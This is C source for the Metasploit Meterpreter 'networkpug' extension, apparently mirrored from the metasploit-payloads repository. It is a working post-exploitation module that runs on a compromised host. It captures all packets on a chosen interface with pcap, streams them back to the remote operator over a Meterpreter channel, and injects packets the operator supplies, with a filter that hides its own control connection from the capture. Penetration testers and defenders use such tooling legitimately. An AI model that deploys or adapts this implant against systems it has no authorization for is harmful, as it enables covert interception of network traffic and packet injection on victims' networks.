1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-12 19:04:32 +02:00
2017-09-01 03:29:26 -05:00

528 lines
12 KiB
C

#include "../../common/common.h"
#include <pcap/pcap.h>
#include "networkpug.h"
#include <sys/atomics.h>
typedef struct networkpug {
char *interface;
// is this pug active
volatile int active;
// pcap structure
// from a quick look at pcap-linux.c, pcap_inject_linux, we do not need
// any locking to serialize access.
pcap_t *pcap;
// thread for handling recieving packets / sending to server
THREAD *thread;
// XXX, do something with this. Stats on close?
volatile int pkts_seen, pkts_injected;
Channel *channel;
Remote *remote;
unsigned char *packet_stream;
size_t packet_stream_length;
// PKS, potential race with socket writing / shutdowns
// maybe ref count / spinlock via atomic instructions. need to think more :-)
} NetworkPug;
#define MAX_PUGS (128)
#define MAX_MTU (1514)
NetworkPug pugs[MAX_PUGS];
LOCK *pug_lock;
char *packet_filter;
/*
* send packet to remote channel
*/
void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes)
{
NetworkPug *np = (NetworkPug *)(user);
size_t plussize = h->caplen + sizeof(u_int16_t);
u_int16_t *size;
unsigned char *tmp, *data;
if(! np->active) {
// begone, foul demon.
dprintf("breaking loop");
pcap_breakloop(np->pcap);
return;
}
dprintf("(%s) we have %d bytes to send to metasploit :-)", np->interface, h->caplen);
// PKS - this approach is quite hacky. A better implementation would be a record
// based stream, but that's a lot more work, plus would probably require significant
// changes on the ruby side.
tmp = realloc(np->packet_stream, np->packet_stream_length + plussize + 4); // +4 - padding
if(tmp == NULL) {
// memory issues? we could revert to stack, but let's drop it on the floor
// for now.
dprintf("memory constraint, dropping packet");
return;
}
np->packet_stream = tmp;
size = (unsigned short int *)(np->packet_stream + np->packet_stream_length);
*size = htons(h->caplen);
data = (unsigned char *)(np->packet_stream + np->packet_stream_length + 2);
memcpy(data, bytes, h->caplen);
np->packet_stream_length += plussize;
__atomic_inc(&(np->pkts_seen));
}
/*
* networkpug_thread handles recieving packets from libpcap, and sending to metasploit
*/
void networkpug_thread(THREAD *thread)
{
NetworkPug *np;
struct timeval tv;
fd_set rfds;
int fd;
int count;
np = (NetworkPug *)(thread->parameter1);
fd = pcap_get_selectable_fd(np->pcap);
while(np->active && event_poll(thread->sigterm, 0) == FALSE) {
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO(&rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, &tv) == 0) continue;
count = pcap_dispatch(np->pcap, 1000, packet_handler, (u_char *)np);
if(count > 0) {
dprintf("pcap_dispatch returned %d", count);
}
if(np->packet_stream) {
channel_write(np->channel, np->remote, NULL, 0, (PUCHAR) np->packet_stream, np->packet_stream_length, NULL);
free(np->packet_stream);
np->packet_stream = NULL;
np->packet_stream_length = 0;
}
}
dprintf("[%s] instructed to shutdown, thread exiting", np->interface);
}
/*
* Find an unused pug
*/
NetworkPug *allocate_networkpug(char *interface)
{
int idx;
for(idx = 0; idx < MAX_PUGS; idx++) {
if(! pugs[idx].active) {
pugs[idx].interface = strdup(interface);
return &pugs[idx];
}
}
return NULL;
}
/*
* free()'s a networkpug structure as allocated by allocate_networkpug()
* Needs to be active for cleanup to proceed.
*/
void free_networkpug(NetworkPug *np, int close_channel, int destroy_channel)
{
int cont;
if(! np) {
dprintf("There's a bug somewhere. trying to free a null networkpug");
return;
}
dprintf("np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
np->pcap);
/*
* There are probably some possible race conditions present here.
* If another thread is in write/pcap inject, etc.
*
* Hopefully setting np->active = 0 early on and handling recieve thread
* first will prevent any possible issues. No guarantees, however
*/
cont = __atomic_swap(0, &np->active);
if(! cont) {
dprintf("Seems the pug at %p was already set free", &np);
return;
}
// np->active is now false.
if(np->thread) {
// Thread termination will take up to 1 second
thread_sigterm(np->thread);
thread_join(np->thread);
thread_destroy(np->thread);
}
if(np->channel) {
if(close_channel == TRUE) {
// Tell the remote side we've shut down for now.
channel_close(np->channel, np->remote, NULL, 0, NULL);
}
if(destroy_channel == TRUE) {
// the channel handler code will destroy it.
// if we destroy it, it will end up double freeing
// and calling abort :~(
channel_destroy(np->channel, NULL);
}
}
if(np->interface) {
free(np->interface);
}
if(np->pcap) {
pcap_close(np->pcap);
}
memset(np, 0, sizeof(NetworkPug));
dprintf("after memset ;\\ np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
np->pcap);
}
NetworkPug *find_networkpug(char *interface)
{
int idx;
dprintf("Looking for %s", interface);
for(idx = 0; idx < MAX_PUGS; idx++) {
if(pugs[idx].active)
if(! strcmp(pugs[idx].interface, interface))
return &pugs[idx];
}
return NULL;
}
DWORD networkpug_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
NetworkPug *np = (NetworkPug *)(context);
DWORD result = ERROR_SUCCESS;
dprintf("context is %p", context);
if(! np->active) return result;
dprintf("if it's a pug, it's for %s", np->interface);
pcap_inject(np->pcap, buffer, bufferSize);
*bytesWritten = bufferSize; // XXX, can't do anything if it fails really
__atomic_inc(&(np->pkts_injected));
return ERROR_SUCCESS;
}
DWORD networkpug_channel_close(Channel *channel, Packet *request, LPVOID context)
{
int result = ERROR_SUCCESS;
NetworkPug *np;
lock_acquire(pug_lock);
np = (NetworkPug *)(context);
if(np->active) {
dprintf("Channel shutdown requested. context = %p", context);
dprintf("pugs is at %p, and pugs[MAX_PUGS] is %p", pugs, pugs + MAX_PUGS);
free_networkpug((NetworkPug *)(context), FALSE, FALSE);
dprintf("closed channel successfully");
} else {
dprintf("Already closed down context %p", context);
}
lock_release(pug_lock);
return result;
}
DWORD request_networkpug_start(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
int result = ERROR_INVALID_PARAMETER;
char *interface;
char *extra_filter;
char errbuf[PCAP_ERRBUF_SIZE+4];
struct bpf_program bpf;
int bpf_fail = 0;
NetworkPug *np = NULL;
PoolChannelOps chops;
memset(errbuf, 0, sizeof(errbuf));
memset(&chops, 0, sizeof(PoolChannelOps));
lock_acquire(pug_lock);
do {
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
extra_filter = packet_get_tlv_value_string(packet, TLV_TYPE_NETWORKPUG_FILTER);
if(! interface) {
dprintf("No interface specified, bailing");
break;
}
np = find_networkpug(interface);
if(np) {
dprintf("Duplicate pug found for %s!", interface);
break;
}
np = allocate_networkpug(interface);
np->remote = remote;
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
// xxx, add in filter support
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote, NULL);
chops.native.context = np;
chops.native.write = networkpug_channel_write;
chops.native.close = networkpug_channel_close;
// interact, read don't need to be implemented.
np->channel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
if(np->pcap) {
char *final_filter = NULL;
if(extra_filter) {
asprintf(&final_filter, "%s and (%s)", packet_filter, extra_filter);
} else {
final_filter = strdup(packet_filter);
}
dprintf("final filter is '%s'", final_filter);
bpf_fail = pcap_compile(np->pcap, &bpf, final_filter, 1, 0);
free(final_filter);
if(! bpf_fail)
bpf_fail = pcap_setfilter(np->pcap, &bpf);
}
if(! np->pcap || ! np->thread || ! np->channel || bpf_fail) {
dprintf("setting up network pug failed. pcap: %p, thread: %p, channel: %p, bpf_fail: %d",
np->pcap, np->thread, np->channel, bpf_fail);
if(! np->pcap) {
dprintf("np->pcap is NULL, so errbuf is '%s'", errbuf);
}
if(bpf_fail) {
dprintf("setting filter failed. pcap_geterr() == '%s'", pcap_geterr(np->pcap));
}
break;
}
channel_set_type(np->channel, "networkpug");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(np->channel));
np->active = 1;
thread_run(np->thread);
result = ERROR_SUCCESS;
} while(0);
if(result != ERROR_SUCCESS) {
np->active = 1;
free_networkpug(np, FALSE, TRUE);
}
lock_release(pug_lock);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_networkpug_stop(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
char *interface;
int result = ERROR_INVALID_PARAMETER;
NetworkPug *np;
lock_acquire(pug_lock);
do {
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
if(! interface) {
dprintf("No interface specified, bailing");
break;
}
dprintf("Shutting down %s", interface);
np = find_networkpug(interface); // if close is called, it will fail.
if(np == NULL) {
dprintf("[%s] Unable to find interface", interface);
break;
}
dprintf("calling free_networkpug");
free_networkpug(np, TRUE, FALSE);
result = ERROR_SUCCESS;
} while(0);
lock_release(pug_lock);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
Command customCommands[] =
{
COMMAND_REQ("networkpug_start", request_networkpug_start),
COMMAND_REQ("networkpug_stop", request_networkpug_stop),
COMMAND_TERMINATOR
};
/*
* Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
int peername_len;
struct sockaddr peername;
struct sockaddr_in *peername4;
struct sockaddr_in6 *peername6;
int port;
char buf[256]; // future proof :-)
memset(buf, 0, sizeof(buf));
/*
* We require the ability to filter out our own traffic, as that would
* quickly lead to a huge packet storm on the network if we monitor
* the interface our traffic is on.
*/
// get the address/port of the connected control socket
peername4 = NULL;
peername6 = NULL;
peername_len = sizeof(peername);
if (remote->transport->get_handle) {
getpeername(remote->transport->get_handle(remote->transport), &peername, &peername_len);
}
else {
// TODO: not sure what to do here.
}
switch(peername.sa_family) {
case PF_INET:
peername4 = (struct sockaddr_in *)&peername;
inet_ntop(AF_INET, &(peername4->sin_addr), buf, sizeof(buf)-1);
port = ntohs(peername4->sin_port);
break;
case PF_INET6:
peername6 = (struct sockaddr_in6 *)&peername;
inet_ntop(AF_INET6, &(peername6->sin6_addr), buf, sizeof(buf)-1);
port = ntohs(peername6->sin6_port);
break;
default:
dprintf("Sorry it didn't work out :/ It's not you, it's me");
return ERROR_INVALID_PARAMETER;
}
asprintf(&packet_filter, "not (ip%s host %s and tcp port %d)",
peername4 ? "" : "6",
buf,
port
);
dprintf("so our filter is '%s'", packet_filter);
command_register_all(customCommands);
pug_lock = lock_create();
return ERROR_SUCCESS;
}
/*
* Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
free(packet_filter);
lock_destroy(pug_lock);
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "networkpug", bufferSize - 1);
return ERROR_SUCCESS;
}